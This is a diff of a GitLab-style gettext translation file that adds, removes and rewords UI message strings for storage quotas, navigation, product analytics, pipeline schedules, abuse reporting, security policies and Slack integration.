@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr "Iniciar um %{new_merge_request} a partir destas alterações"
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
